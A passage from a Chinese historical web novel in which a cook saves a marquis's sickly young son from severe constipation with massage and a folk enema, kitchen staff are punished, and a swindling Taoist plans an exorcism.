沈令薇蹲下来,握住女儿冰凉的小手,安慰道;“安安莫怕,娘现在要出去,你记住,无论发生任何事,都不要乱跑,就呆在屋子里把门栓好,千万别出来,明白吗?”
安安眼泪在眼眶里打转,却懂事地点头;“娘,你什么时候回来?”
沈令薇搂着她,轻轻拍了拍她的背:“很快,娘办完事就回来。”
安抚好女儿,沈令薇很快来到竹院。
彼时,院门口已经黑压压跪了一地的人。都是静和苑的下人,连粗使婆子和洒扫的侍女都在列。
空气压抑得让人喘不过气来。
沈令薇不动声色地站在末尾,余光瞥见不远处的刘厨娘等人,低着头,肩膀绷得死紧。
身后,两个年轻的丫鬟正在低声交谈着。
“听说二少爷昨天晚上就不对劲了……”
“好像说是便秘,已经两天没出恭了,今早起来就喊肚子疼,没一会儿就晕过去了。”
“二少爷本就体弱,这一关要是过不去,咱们这些伺候的下人,会不会被牵连啊……”
“……”
沈令薇听闻,眉头拧得更紧。
两日未出恭,是典型的严重便秘引发肠梗阻或中毒性巨结肠,对于裴恪这种本就体弱,长期挑食的孩子来说,足以致命。
就在这时,主屋的大门‘吱呀’一声被人打开。
张嬷嬷从里头走了出来,目光巡视一圈众人,最后落在刘厨娘,以及田婆子等人身上。
“你们几个,都上前来。”
第12章 老夫人,奴婢有法子
田婆子哪里见过这等阵仗,当即‘扑通’一声跪下,哭喊道:
“张嬷嬷,不关奴婢的事呀!”
田婆子伸手指着沈令薇的方向,道:“这两日,二少爷的吃食,都是她做的!是她,给二少爷做了什么乱七八糟的糕点,奴婢只是个厨房帮忙打杂的,负责洗菜切菜,真的不关我的事呀!”
郭婆子见状,也赶紧下跪,证明道:“对,奴婢也是打下手的,二少爷吃什么,都是刘嫂子和沈娘子做的,不关奴婢的事呀……”
刘嫂子见二人操戈,狠狠地剜了田婆子一眼。
张嬷嬷冷笑一声,笑意却不达眼底,反而透出几分肃杀。
“推脱的倒是干净!太医方才诊过,说是二少爷积滞入腑,是吃了极重油且难以克化的发物,这才导致肠道梗阻、秘结不通。既然是在静和苑出的事,厨房的人,一个都跑不掉!”
她目光在沈令薇身上也停留了一瞬,“你们几个,全都进来,老夫人要亲自问话。”
刘厨娘双腿一软,差点没站起来。
田婆子和郭婆子互相搀扶着,脸色惨白如纸。
……
屋里的空气,更加压抑,凝滞。
老夫人坐在圈椅上,双眼红肿,面色苍老了十岁不止。
侧首处,裴谨之撩袍而坐,没说话,可那目光却像刀子一样,沉甸甸地落在几人身上。
那股久居上位者的威压,令人无法忽视。
这时,一位须发皆白的老太医从内室走出来,老夫人忙迎了上去。
“太医,老身这孙儿,究竟如何了?”
太医长叹一声,拱手道:“老夫人,二少爷这是‘脾约’之症,本就中气不足,又误服了肥腻滋补之物,导致积滞化火,肠腑燥结。如今那燥屎已如顽石般结在腹中,上不下达,气机彻底阻断了。”
“那……那用些泄下的药不成吗?”老夫人急切地问道。
“使不得啊!”
太医语气沉重:“二少爷底子太薄,如今又昏迷着,若是下药猛攻,恐怕药力未到,这肠胃便率先穿孔溃烂了。到时候便是大罗金仙来了,也无力回天啊。”
老夫人眼前一黑,差点栽倒。
“老夫人!”张嬷嬷眼疾手快,赶忙稳住她。
屋里一片死寂。
田婆子抖得更厉害了,连大气都不敢出一声。
这时,裴谨之从椅子上缓缓起身,走到太医面前,拱手一礼。
“周太医,若不用药,可还有其它法子?无论需要什么药材,花费多少银两,侯府愿意不惜一切代价,只要能救人。”
周太医皱着眉,沉默了良久,最后羞愧地低下头。
“若是早上一日,趁着人还清醒,用些柔润之法或许还有一线生机。眼下……胃气已败,药石难入,老朽实在是不敢担这个风险啊。”
老夫人闻言,只觉得五雷轰顶。
“恪儿啊……我的乖孙啊……他才五岁,难道就真的没救了吗?”
她老泪纵横地呼喊,那声音之凄惨,能令听者无不动容。
屋内的气氛瞬间降至冰点,裴谨之的脸上也罕见地出现一抹溃败之色。虽没说话,但周身沸腾的戾气,瞬间让满屋子都如坠冰窖。
田婆子等人已经抖成了筛糠,瘫软在地。
完了!
一切都完了!
二少爷若真的死了,她们几个,铁定得陪葬!
就在这时,沈令薇微微抬头,朝着老夫人行了一礼。
“侯爷,老夫人,奴婢或有法子,能让二少爷顺利出恭,且不伤脾胃。”
话落,所有人的目光都齐刷刷钉在沈令薇身上。
“你、你当真有办法?”老夫人已经止住哭喊,不敢置信地看着沈令薇。
沈令薇点头,声音平稳。
“二少爷眼下最要紧的,便是把堵在肚子里的东西排出来,只要解决了这个根本,之后再配合清淡易消化的饮食,多喝水,慢慢调理,自然就能恢复。”
周太医皱眉,语气带着几分不悦:“你说的道理,老夫岂会不懂?只是二少爷如今昏迷着,药灌不下去,即便强行灌肠,也得有东西能化开那积食。蜂蜜导法已经试过,根本无用,你一个厨娘,能有什么法子?”
沈令薇看着他,语出惊人;“太医,那若是不从口入,直接从肠道,把堵住的东西取出来呢?”
周太医听闻,眼珠子一瞪,气得胡子都在颤抖。
“荒谬!肠道深在腹中,如何能取?难道要把肚子剖开?”
“你这妇人,休要在此胡言乱语!”
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他显然对沈令薇的说法嗤之以鼻,转身朝老夫人和裴谨之拱手。
“老夫人,侯爷,此等匪夷所思的言论,切不可轻信,老朽行医三十载,从未听闻有这等治法,若是胡乱施为,二少爷恐怕等不到药力发作,就要活活疼死在当场!”
“这……”老夫人也有些犹豫不定。
实在是沈令薇的说法,太过匪夷所思。
沈令薇也不急,淡淡道:“太医说的是,民女不懂医理,也不敢妄言,只是奴婢曾在家乡时,见过村里的游医用过此法,故而有此一说。”
太医冷笑;“乡野游医的土法子,也敢拿来侯府献丑?”
沈令薇浅笑道:“法子虽土不土不重要,管用就行。”
“你……”太医一噎。
这时,裴谨之目光锁定沈令薇,问:“你确信,此法可行?”
沈令薇站起身,迎上他审视的目光,一字一句道:“侯爷若是信不过,奴婢可以签下军令状。”
屋里又是一静,众人呼吸都屏住,安静的落针可闻。
裴谨之盯着她,似乎想从她脸上看到紧张,心虚,或者别的情绪。
但烛火映照在沈令薇脸上,她双眸清亮,不见半分躲闪,站得笔直,不卑不亢,仿佛说的不是生死攸关的军令状,只是寻常的请命。
裴谨之见过太多人在他面前低头。
那些人眼里,有敬畏,有惶恐,有算计,也有讨好。
可没有像沈令薇这样的,平静得像一潭深水,看不见底,却又能映出他的影子。
他目光在她略显臃肿的腰身停留一瞬,缓缓开口:
“你可知,一旦失败,意味着什么?”
沈令薇忽然笑了。
通常情况下,说出这句话的,就代表已经在心里做出选择了。
对方需要的,不过是一重保障而已。
“侯爷,侯府是奴婢和女儿的救命恩人,奴婢没有理由害二少爷。”
“若真要论私心,奴婢也不过是想二少爷好好的,往后能多吃几口奴婢做的饭,仅此而已。”
裴谨之又看着她。
这一次,她的眉眼温柔得像一汪春水,眼里的光比天上的月色还要亮。
半晌后,他移开目光,朝下人吩咐:“按她说的,去准备。”
第13章 把肚子里的坏蛋抓出来
侯爷一发话,下人们不敢怠慢,很快将东西准备好。
一些细竹,中间的竹结被打通,其中一段被削成圆滑的细嘴,又让人准备了麻油,蜂蜜,猪脂之类的。
做好这些,又让人准备温水和两块干净的软布。
下人们行动起来,原本死寂的气氛被打破,透出一丝丝活气。
沈令薇走到榻边,蹲下来,看着昏睡的裴恪。
他小脸苍白,眉头紧皱,即使在昏迷中,身子也时不时地抽搐一下,像是被什么东西折磨着。
而且这张小脸,跟小时候的她,有着五分相似。
沈令薇先将双手在热水盆上熏热,掌心抹上少许猪油,轻轻覆在裴恪的肚子上。
他肚子又鼓又胀,像塞了一块石头。
沈令薇由轻到重地揉按,沿着顺时针方向,一下一下地,不轻也不重。
“二少爷,您忍着点,等散开了就不疼了……”
她声音又轻又软,像哄婴儿。
神奇的是,昏迷中的裴恪,紧咬的牙齿竟然微微松动了半分。
她开始有节奏地施力。
一下,两下,顺着肠道运行的方向,由轻入重,推,揉,摩,按。
裴谨之立在三步开外,目光死死钉在沈令薇那双忙碌的手上。
沈令薇此时正专注,身体前倾,额头已经微微见汗,原本故意缠裹的腰身,因为发力竟勒出一道柔韧的弧度,汗水正顺着侧脸滑落,浸湿衣襟的一小片布料。
“噗……”
突然,屋里响起一道响亮的排气声,紧接着,一股难以言说的味道弥漫开来。
但沈令薇眉头都没皱一下,依旧专注着手上的动作。
“这……竟然通了?”周太医不可置信地惊呼道。
沈令薇并未松气,转头问张嬷嬷:“张嬷嬷,火炉上的蜂蜜熬得如何了?我要趁热搓栓,导引顽石出关!”
揉腹只是活血散气,真正的“灌肠导引”才是决定二少爷生死的最后一关。
又过了一会儿,裴恪腹部再次传来一阵‘咕噜’声。紧接着,裴恪眼皮微微动了动,缓缓睁开一条缝隙。
“恪儿!你终于醒了!”老夫人激动地上前。
屋里众人也顿时松了一口气。
沈令薇却顾不上高兴,朝陈石头伸手:“东西拿来。”
陈石头赶紧递上竹筒,麻油和蜂蜜。
沈令薇接过,把麻油和蜂蜜按三比一调好,灌进竹筒,并用软布堵住另一头。
“麻烦搭把手,将二少爷侧过身来,腿蜷起来。”
张嬷嬷亲自上前,想要帮裴恪翻过身来,可却出现了意外。
就在她双手刚要触碰到裴恪的时候,原本安静,刚醒来还有点懵懂的裴恪,竟像是被惊到了一样,猛地往后一缩,整个人倒退到床角,抱着枕头,防备地盯着众人。
张嬷嬷的手僵在半空,不敢再动。
屋里众人傻眼。
“恪儿啊,祖母在这儿,听话,让嬷嬷帮你……”老夫人想上前。
可裴恪把自己裹成了一个蚕茧,在角落里剧烈抽搐。
屋内的气氛瞬间跌入冰点。
“这可如何是好?”老夫人后知后觉道。
“恪儿这孩子打小就心思重,极度畏惧生人触碰,便是连我也亲近不得。”
太医也直摇头:“若是强行按压,只怕二少爷会惊厥抽搐,届时心脉受损,便是神仙也难救了!”
沈令薇也僵在原地,眉头紧锁。
是了。
她竟忘了,二少爷体质特殊,对他人的触碰最为敏感,抵触。
可若是不灌肠,腹中那如顽石般的积滞,会彻底断了他的生机。
一时间,所有人的目光都聚在了沈令薇身上。
就连刘厨娘等人,也都一脸复杂地看着她。也不知道是该祈祷沈令薇得手,还是失手。
所有人都站在那儿,对着角落里的裴恪束手无策。
陈石头急得搓手:“沈娘子,这……可怎么办才好?”
沈令薇紧盯着角落里的那个小身影,紧了紧手里的竹筒。
半晌后,她深吸一口气,对着老夫人和裴谨之道:“侯爷,老夫人,请让所有人都退出去,只
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留下陈石头和张嬷嬷帮忙。”
老夫人犹豫;“这……”
沈令薇目光恳切:“二少爷怕生人,人越多,他越怕,请老夫人相信奴婢一次。”
老夫人看了看依旧在发抖的裴恪,又和裴谨之交换了一个眼神,满心的无力。
她含泪嘱咐道:“沈氏,只要你能治好恪儿,老身便做主,这静和苑的厨房,日后都归你管,另外,月银翻倍,如何?”
沈令薇受宠若惊地行礼:“多谢老夫人厚爱,请您放心,奴婢定当尽心竭力。”
之后,众人鱼贯而出,屋里只留下陈石头和张嬷嬷。
沈令薇又吩咐下人在院外架起那口石磨,按照上次的规律转动着。
自己则从怀里掏出一个小熊形状的布偶,那是她给安安缝制的。
“二少爷,你看,这个小布偶和你一样,肚子里藏了个小怪兽,所以它才那么疼。”
裴恪没动,目光在布偶上看了一眼,很快移开。
沈令薇也没气馁,让陈石头找来一个盘子,和一把银勺,像上次安抚他那样,配合着外院的石磨声,一下一下地敲着。
“叮……叮……”
节奏缓慢,恒定,像心跳。
渐渐地,裴恪呼吸逐渐平稳下来,抖得也没那么厉害。
“二少爷,你还记得这个声音吗?”
她又举起手里的布偶,朝裴恪道:“你看,小布偶听到这个声音,貌似也不那么难受了呢。但是它肚子里的东西会越长越大,要是不及时取出来,最后就会撑破肚皮,砰的一声爆炸开来,多可怕。”
裴恪的眼神果然又看了过来,这一次,带着明显的恐惧。
“不过二少爷别担心,奴婢有法子,很快就能将它肚子里的坏蛋给抓出来,你看好了!”
沈令薇抬手,并朝陈石头使了个眼色。
陈石头会意,立马上前拿住布偶。
只见沈令薇一只手举起那个竹筒,对着小熊的屁股,轻轻比划了一下。
随后,她手里跟变魔术似的,立马就多出来一团黑乎乎的泥巴。
第14章 这内宅后院,终究少不了一个女人
“你看,坏怪兽被抓出来了,小布偶就不疼了。”
裴恪震惊地盯着陈石头手里那布偶,眼神里的恐惧淡了些,涌出更多的疑问。
“二少爷一定会比小熊更勇敢的对不对?咱们一起把肚子里的怪兽抓出来,好不好?”
裴恪依旧没开口,但眼神已经开始犹豫。
沈令薇慢慢伸出手,“二少爷,乖,奴婢保证,不会很疼的,只是会有点点不舒服,但只要坚持一下下,怪兽很快就跑了。”
裴恪紧盯着沈令薇伸过来的手,眼神越发防备,又往后一缩。
沈令薇没再往前,柔声安抚道:“二少爷,奴婢答应你,只要你配合把肚子里的怪兽拉出来,奴婢回头就给你做一艘大船造型的茯苓糕,可好?”
裴恪眼睛一亮,侧头看着她。
沈令薇开始比划,“二少爷应该还没见过那种三层的大船吧?这船身啊,足足有咱们这院子这么大,还有栏杆啊……”
随着描述,裴恪很快在脑子里构造一艘大船的模型,那么威武,那么霸气。
沈令薇还在讲述;“不仅如此,下下次,奴婢还可以设计一款可以行走的汽车,个头比马车厢还要大,不用马儿拉也能跑……”
不仅裴恪听入了神,一旁的张嬷嬷和陈石头,也被沈令薇描绘的这些奇巧物件所吸引,一时间竟忘记了动作。
“……所以,二少爷想要吗?”
裴恪紧盯着她,那双向来空洞的眼睛里,有光芒在闪烁。
是渴望,好奇,还有一丝丝挣扎。
他实在太好奇了。
屋内静得能听见灯芯爆裂的声音。
最终,内心的恐惧被好奇压倒,他终于下定决心,闭上眼,轻轻点了点头。
这一幕,看得陈石头和张嬷嬷瞪大了眼睛,险些惊叫出声。
这就……同意了?
沈令薇已经伸手,握住裴恪的小手,无声地传递着力量。
“二少爷,一会儿奴婢怎么说,您就怎么配合,剩下的,全交给我们就好。”
声音温润如春风,带着一种让人通体舒畅的母性磁场。
裴恪的身子本能地抖了抖,但在感受到沈令薇手掌的温度后,忍住了逃跑的冲动。
他咬着牙,重新躺到方才的位置,小小的背脊绷得笔直。
沈令薇朝陈石头和张嬷嬷使了个眼色,二人轻手轻脚地上前,缓缓抬起裴恪的腿……
“好了,二少爷放松,我们要抓怪兽了。”
……
一刻钟后,屋门打开。张嬷嬷一脸惊喜地走了出来。
“侯爷,老夫人,成了!二少爷出恭了!”
这个消息,犹如天籁。侯府头顶的乌云如同一时间全部散去了一般,只剩下耀眼的阳光。
“好!好!好啊!”老夫人连叹三声,急忙第一个迎了进去。
屋里,裴恪已经重新躺好,盖着薄被,脸色还有些差,但眉头已经舒展开来,呼吸也平稳下来。
老夫人的眼泪一下子就涌了出来。
“恪儿,我的乖孙啊……”
裴谨之紧随其后,见儿子那张小脸终于褪去了痛苦的神色,他袖子里的手也悄悄松开。
“周太医,麻烦再看看。”
周太医忙不迭地上前,指尖搭在裴恪的脉搏上。随即满脸的不敢置信。
“这……恭喜侯爷,恭喜老夫人!二少爷脉象已稳,腹中积食也已悉数排出,再无大碍了!”
得到太医的首肯,老夫人悬着的一颗心总算落地。
太医转向沈令薇,神色复杂,最后深深作了一揖:“沈娘子,方才是老朽狭隘了。老朽行医三十载,竟不如沈娘子这一双巧手,实在是汗颜,汗颜呐!”
沈令薇侧身,避开他的礼;“太医言重了,民妇不过是用了些乡下的土法子,不值一提。”
“沈娘子不必自谦,”周太医叮嘱道,“二少爷如今虽通了积滞,但脾胃已如薄纸,后续这半月的吃食,务必要以清淡、天然、理气为主。切不可为了贪图一时之快,再进那些重油重盐、浓墨重彩的吃食,那是取祸之道啊!”
沈令薇一一记下,“是,民妇明白了。”
之后,老夫人命人送走太医,屋里再次安静下来。
这时,所有人的目光,都不约而同的看向外头,正跪在地上的刘厨娘,田婆子等人。
三人跪成一排,都成了筛糠。
老夫人脸上的笑容瞬间凝结,目光如刀子一样扫向门口,沉声道:
“来人!将这三个刁奴,全部拖下去,重打二十大板,再发卖出去。”
刘厨娘双腿一软,慌忙跪地嚎哭:“老夫人饶命,侯爷饶命啊!奴婢也是想给二少爷补补身子,不是故意的啊!”
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另外两个婆子也拼命磕头,额头磕在地上‘砰砰’地响。
“老夫人明鉴,奴婢们只是听刘厨娘的吩咐做事,都是刘厨娘的主意啊……”
郭婆子眼珠一转,也开始甩锅:“是、是啊,奴婢真是冤枉的……”
刘厨娘没料到,二人会在这个时候反水,气得眼睛都发红。
老夫人冷笑一声,“还在狡辩,也罢,那就让你心服口服。”
说完,她朝着张嬷嬷看了一眼,紧接着,张嬷嬷从袖子里掏出一张纸,上面记录着这几日裴恪的用餐情况。详细到什么时辰,还有用量。都记录在案。
老夫人没有亲自处置,而是把人留给了裴谨之处理。
“这几个人,你来处理。”
老夫人又语重心长道:“我知道你公务繁忙,可这内宅后院,终究少不了一个能当家做主的人。这次侥幸,恪儿捡回来一条命。可下次呢?下下次呢?”
裴谨之垂眸,没有说话。
老夫人看着他,叹了口气:“先前我提的那件事,你好好想想吧。”
她说完,由张嬷嬷扶着,慢慢走了出去。
裴谨之躬身相送,直到老夫人的身影消失在院门外,才缓缓直起身。
那一瞬间,他周身的温和荡然无存,眼底凝结的戾气如同实质,看向刘厨娘三人时,犹如在看三具尸体。
刘厨娘和田婆子等人已经吓得失禁,疯狂地磕头求饶。
“侯爷饶命!侯爷饶命啊……”地砖上很快留下血印子。
“陈凡。”裴谨之沉声吩咐。
“此三人罔顾主子性命,阳奉阴违,其心可诛。每人杖责五十,将全家变卖至最苦寒的矿场做苦力,永世不得入京。”
五十杖下去,不死也得残。
裴谨之这是没打算留下三人性命。
几人吓得魂飞魄散,瘫软在地,满脸的绝望。
可就在陈凡招呼人来拖走她们时,刘厨娘不知哪儿来的力气,一下子挣脱开来,指着沈令薇,嘶声喊道:
“不!这不公平!沈氏明明也做了糕点,凭什么只罚我们?我不服!”
另外两个婆子也反应过来,挣扎着喊:“对!二少爷也吃了沈氏的糕点,凭什么她就没事?”
“侯爷不能偏心,要罚一起罚!”
三道目光,像毒蛇一样缠在沈令薇身上。
第15章 破了阵法格局
面对三人的临死反扑,沈令薇不见半点惊慌。
她不卑不亢地迈出半步,一字一句道;“这世间的事,都讲究一个‘理’字。你既质疑我做的吃食,不妨来看看,我做的是什么,你们又做的什么?”
她弯腰捡起那张掉落在地上的纸,道:“山药粥,是健脾养胃的,茯苓糕,利水渗湿,小米粥,温中和胃,这些,哪一样不是易克化,养脾胃的东西?”
刘厨娘张了张嘴。
“可你们又做了些什么?葱油鸡丝,油炸带鱼,红烧排骨,蜜汁酱鸭,还有栗子糕……”
沈令薇每报出一道菜名,刘厨娘等人的神色就慌乱几分。
“你们在厨房待了三年,难道不知道这些食材,油大肉厚,最难克化?难道不知道二少爷久病体虚,脾胃弱得像三岁孩童,根本受不住这些?”
刘厨娘脸色惨白,嘴唇哆嗦着,一个字都说不出来。
这时,陈石头忽然想起什么,也上前作证:“小的也可以作证,前几日刘厨娘来送栗子糕时,沈娘子瞧见了,还特意提醒她,说二少爷脾胃弱,栗子糕性滞,少吃为妙。结果刘厨娘不但不听,反而当着众人的面嘲讽沈娘子,说她是嫉妒,是挑刺。”
他看向刘厨娘的眼里也满是厌恶。
“当时小的就在一旁,听得清楚,还有这两个婆子也一起挤兑沈娘子,这事,院里好几个丫鬟也都看见了。”
之后,陆续有几个丫鬟也站出来,替沈令薇作证。
事已至此,多说无益。
刘厨娘身子一晃,面如死灰,彻底瘫软在地。
裴谨之手一抬,陈凡便领着小厮将三人架了出去。
静和苑经此风波,总算安静下来。
按照先前老夫人的承诺,从今往后,静和苑的厨房,将由沈令薇掌管。
并且,她的月例银子,也从先前的五两,涨到了每个月十两。
十两银子,足够这个时代一家人好几年的吃穿嚼用了。
很快,这件事传遍了整个侯府,道士胡望也听说了此事。
当日晚间,胡望略一琢磨,便朝老夫人奏请,说他夜观天象,见紫微星旁边有客星犯位,主二公子命宫动荡。
老夫人一听,原本松弛下来的心,又悬起来。
“胡大师,此话怎讲?恪儿分明已经转危为安了。”
胡望捻着山羊胡,神色凝重:“老道先前说过,二公子三魂七魄本就缺失一魄。今日虽侥幸排出体内浊物,但那不过是治标不治本。那邪祟见老道阵法严密,便改了路子,附在那些吃食上,乘虚而入。”
老夫人听得心惊肉跳:“那……那可如何是好?”
胡望叹了口气,一脸悲悯:“也怪老道疏忽,没料到那邪祟竟如此狡猾。不过老夫人放心,老道已重新布置了阵法,明日月圆之夜,再加一场法事,定能将那邪祟彻底驱除。”
“只是……”他话锋一转,又道:“老道听闻,今日有位厨娘用了些乡野法子,让二公子排出了积食。这法子虽暂时解了燃眉之急,却也破了老道阵法的格局。如今那邪祟有了防备,明日法事,怕是……要多费些周章。”
老夫人一愣:“沈氏的法子,破了阵法?”
“老夫人有所不知,老道的阵法,讲究的是阴阳调和,五行相生。那厨娘用的法子,属‘水’性,强行冲刷肠道,虽排出了积食,却也冲淡了老道布下的‘土’性镇邪之力。如今那邪祟没了压制,只怕……会更加猖狂。”
老夫人又紧张得手足无措,捏紧了手里的佛珠串。
“不过老夫人不必担心,老道行走江湖多年,什么样的邪祟没见过,此番定能保二公子无恙。”
之后,他又说了几户人家,情况怎样,又是怎样被他给治好的。
老夫人还是有些顾虑:“大师之言,老身岂能不信?只是恪儿刚遭了这场罪,我实在是……怕了。”
胡望回道:“老夫人爱孙心切,老道省得,明日老道做法时,绝不能让那满身烟火气的厨娘靠近,以免冲撞了神灵。”
老夫人沉吟半晌,最终点了点头。
“那好吧,就依大师所言。”
胡望满意地笑了,眼底闪过一丝无人察觉的得意。
走出院子,他身边的小道童疑惑道:“师傅,您原先不是说还要再等两日才是吉日吗?”
胡望嘴角勾起一抹冷笑,慢悠悠地往外走。
“傻徒儿,你懂什么?”
“这日子,还不都由为师说了算?”
他负手而立,看着天边的圆月,眯起眼睛:
“那厨娘今儿救了二少爷,明儿指不定就成了侯府的香馍馍,再耽误下去,还有咱们的事?”
小道童恍然大悟:“所以师傅您着急明日做法,是怕那厨娘抢了功劳?”
“功劳?”胡望冷笑;“为师在乎的是功劳吗?为师在乎的那是银子!”
他本就是个游方道士,先前的名声也都是花钱找人传出去的。每到一处新的
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地方,先找几个托儿在茶楼酒肆吹嘘一番,再选几个有名望的大户人家下手。
若病人病好了,就说自己的法事起了作用,若是病人死了,就说是‘命理该有此劫’,或者推脱给旁人。
那些个大户人家,最忌讳有些什么隐疾外传,就算意识到被骗,也不会到处张扬,再说,等对方回过神来,他早拿着银子跑路了。
可这回,他直觉,这个厨娘或许有点东西。
不过没关系,等明日法事做完,银子到手,他就离开京城,一番改头换面,天高皇帝远,谁还能抓着他不成?
-
与此同时,静和苑内。
裴恪依旧还有些虚弱,躺在榻上,目光好奇地打量着沈令薇碗里的食物,像是在疑惑,为什么没有大船,没有汽车。
沈令薇正端着个青瓷小碗,坐在榻边哄他用膳。
“二少爷,就一口,这一口啊,是那大船上的‘定海神针’,吃下它,大船才能开得稳哦。”
她舀起一勺牛乳芡实羹,汤汁乳白剔透,散发出阵阵甜香。
裴恪原本紧闭着唇瓣,可在听到沈令薇的描述后,竟微微松动了一些,但依旧没开口。
沈令薇也不慌,从怀里掏出那只小熊布偶,“二少爷你看,它叫熊大,家住狗熊岭,今天帮二少爷赶跑了肚子里的怪兽,累坏了,二少爷陪它吃一点好不好?”
裴恪盯着那只小熊布偶,眼神疑惑,似在询问,狗熊岭在哪儿?
沈令薇趁热打铁:“二少爷想听这个故事对不对?那咱们先喝了这碗牛乳羹,奴婢就给你讲这个熊大和狗熊岭的故事,好不好?”
裴恪定定的看着沈令薇,足足过了好半晌,才轻轻的点了点头。
沈令薇舀起一勺羹,放在唇边吹了吹,“来。”
裴恪终于张嘴,喝下了那勺牛乳羹。
裴谨之来的时候,看到的就是这样一副画面。
屋里的灯光并不算明亮,女人半跪在榻边,正耐心地哄着儿子用膳。
没有催促,没有强迫,动作极尽温柔,像山间静默流淌的溪水,不急不缓的,却仿佛蕴含着力量。
“来,再吃一口,这一口就是熊大的蜂蜜罐,吃了它,熊大就有力气爬树了。”
女人的声音很轻,软得像三月的风,带着十足的耐心。
裴谨之站在门外,没有动。
某一瞬间,这画面竟然和记忆深处的某个场景重叠。冰封已久的内心,隐隐出现一丝松动。
第16章 她整张脸都撞到了他胸口
一刻钟后,裴恪已经将碗里的牛乳羹吃了大半,沈令薇的故事也已经讲到了紧要处。
起身离开时,裴恪竟轻轻扯住了她的袖子。
沈令薇看着那只怯生生的小手,心里软得一塌糊涂。
她轻轻捂住裴恪的小手:“二少爷,熊大也要回树洞睡觉了,森林里天黑了,如果不休息,明天就没有力气赶跑光头强了,对不对?”
裴恪不依,还想听。
沈令薇伸手摸了摸他的头:“乖,闭上眼,等明天天一亮,奴婢就带着故事和新的点心来寻你,好不好?”
裴恪挣扎良久,最后还是选择妥协,并伸出小拇指拉钩,才乖乖闭上眼睛。
做完这一切,已经过去小半个时辰。
沈令薇替他盖好被子,轻手轻脚地端起空碗,准备起身回屋。
可就在转身的时候,猝不及防的,身后突然多出来一堵墙。
准确地说,是一堵肉墙。
沈令薇一时没有防备,整张脸撞在了裴谨之的胸口,吓得她惊叫一声,手里的碗差点摔落在地。
她脚下被脚蹬绊倒,整个人不受控制地向后仰去。
就在这千钧一发的时刻,一只铁钳般的大手快如闪电,稳稳地托住她,并且还伸出另一只手,精准地接住那个差点被摔碎的碗。
一切都发生在眨眼之间。
沈令薇只觉得眼前一晃,再睁眼时,眼前就出现了裴谨之那张放大的俊脸。鼻息间全是陌生且霸道的男性气息。
“侯、侯爷?”
沈令薇瞳孔放大,声音都有些抖。
烛火下,裴谨之眉宇间的线条似乎柔和了些,一双深色的眸子似有什么东西在蠢蠢欲动。
沈令薇没看懂那是什么。
此刻她大脑里一片空白,鼻子被撞得生疼,很快溢出了生理性泪水,眼尾泛起一层水雾。
裴谨之也在看着她。
从这个角度,刚好可以看见女人受惊后起伏的胸口,以及那截露在外头,白得晃眼的颈子。
鼻息间全是牛乳的香气,还混合了她身上特有的,若有若无的奶香。
他喉咙有些干,喉结滚动了一下。
“在恪儿面前那么稳当,到了本侯面前,就这点出息?”
他声音沙哑的不像话,说话时,气息喷洒在沈令薇颈侧,皮肤被烧得滚烫。
沈令薇急忙后退两步,退到一个相对安全的距离,一颗心跳得快要冲破胸腔。
“奴婢冒失,不小心冲撞了侯爷,还请侯爷恕罪。”
掌心的温度消失,裴谨之手垂在袖子里,摩挲了几下。
“恪儿如何了?”
沈令薇中规中矩地回话:“方才用了小半碗牛乳羹,这会儿已经歇下了,睡得安稳。”
裴谨之点点头,目光在她白皙的颈子上停留了一瞬,又问:“夜里可有人轮值?”
“回侯爷,陈石头守在外间,有事随时能应。”
“他身子刚遭了罪,这几日在吃食上,务必费心些。”
“是……”
两人有一句没一句地聊着,话题都是围绕着裴恪。
沈令薇不禁心道,府里的人都说侯爷公务繁忙,平日里极少踏足静和苑,对三位小少爷也大多不怎么亲近。想来传言也不尽然。
至少侯爷心里还是十分惦记二少爷的。
之后,裴谨之又温声交代了几句,才转身离开静和苑。
沈令薇也没有多呆,确认二少爷睡着之后,也很快回了下人房。
-
刘厨娘等人被发卖之后,静和苑的厨房就空了下来。
老夫人怕沈令薇一个人忙不过来,命人从大厨房调来一个婢女打下手,专门负责食材的清理和准备。沈令薇只需要负责掌勺即可。
婢女名叫银杏,圆脸,大眼睛,因为太馋嘴被大厨房的人嫌弃,听说静和苑这边缺人手,就被发落了过来。
翌日一早,银杏送餐回来,盘子里的食物却原封未动。
沈令薇诧异:“二少爷一口没吃?”
银杏噘嘴:“是啊,我刚把饭菜送过去,就见二少爷被张嬷嬷带走了。”
沈令薇不由得更加震惊,“带走?去哪儿了?”
银杏耸肩:“不清楚,不过我翠儿姐姐她
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们聊天,好像提到了什么胡大师,好像要给二少爷驱邪……”
沈令薇脑瓜子‘嗡’的一声炸开。
胡望?那个江湖术士?
她怎么把这个人给忘了?前几日还满口胡言,说二少爷中了邪,魂魄不全。
可二少爷昨天才遭了大罪,身体还没恢复,哪里经得起折腾?
且不说那些符水里头都含有重金属成分,会损伤孩子的脾胃。可二少爷本就对声音和气味极其敏感,做法事闭眼会有铃铛声,还有香烛燃烧的烟气,满屋子烟熏火燎的……
沈令薇光是这么一想,心都沉了下去。
把解下围裙,抬脚就走。
“唉,沈娘子,你这是要去哪儿?”
沈令薇脚步一顿,想到什么,回过头,郑重地嘱咐道:“银杏,你听好,现在立刻出府,去找陈侍卫,让他传话给侯爷,就说……就说二少爷出事了,请他速回。”
银杏愣住;“可我没有腰牌,出不去呀!”
沈令薇咬唇。
是了。她忘了侯府规矩森严,下人没有腰牌,根本无法出府。
她脑海飞速运转,思索着对策。
这时,她目光落在不远处玩耍的安安身上,脑子里冒出来一个想法。
“银杏,你这样……”
……
与此同时,侯府后院的空地上。
此处已经搭建起一座三尺高的法坛,上面铺着杏黄布,布上绘着八卦图纹。
法坛的四角各插一面黑旗,上面用朱砂画着扭曲的符文,风一吹,就猎猎作响。
祭坛上,按顺序摆放了香炉、桃木剑等,还有一碗黑红色的‘符水’,几叠黄符纸。
青灰色的烟袅袅上升,一股混合了香油,香烛的刺鼻味道,在院子里弥漫开来。
老夫人带着几个心腹下人,正坐在上方的主位上,胡望也穿着玄色道袍,戴着五岳冠,立在祭坛边上。
远远看去,还真有几分仙风道骨的模样。
午时刚过,他抬头看了眼天色,朝老夫人拱手:
“老夫人,吉时已到,可以请二公子上坛了。”
第17章 她前来阻止
老夫人抿了抿唇,还有些担心:“胡大师,恪儿昨日才遭了罪,身子还没恢复……这样真的没问题吗?”
胡望神色从容,“老夫人放心,正因为二公子身子虚,那邪祟才敢如此猖狂,今日月圆之夜,正是天地阴阳交汇之时,老道借这天地之力,一举将其驱除。往后二公子便可安枕无忧。”
老夫人心下稍安,朝张嬷嬷点点头。
张嬷嬷很快退下,不多时,裴恪被带了出来。
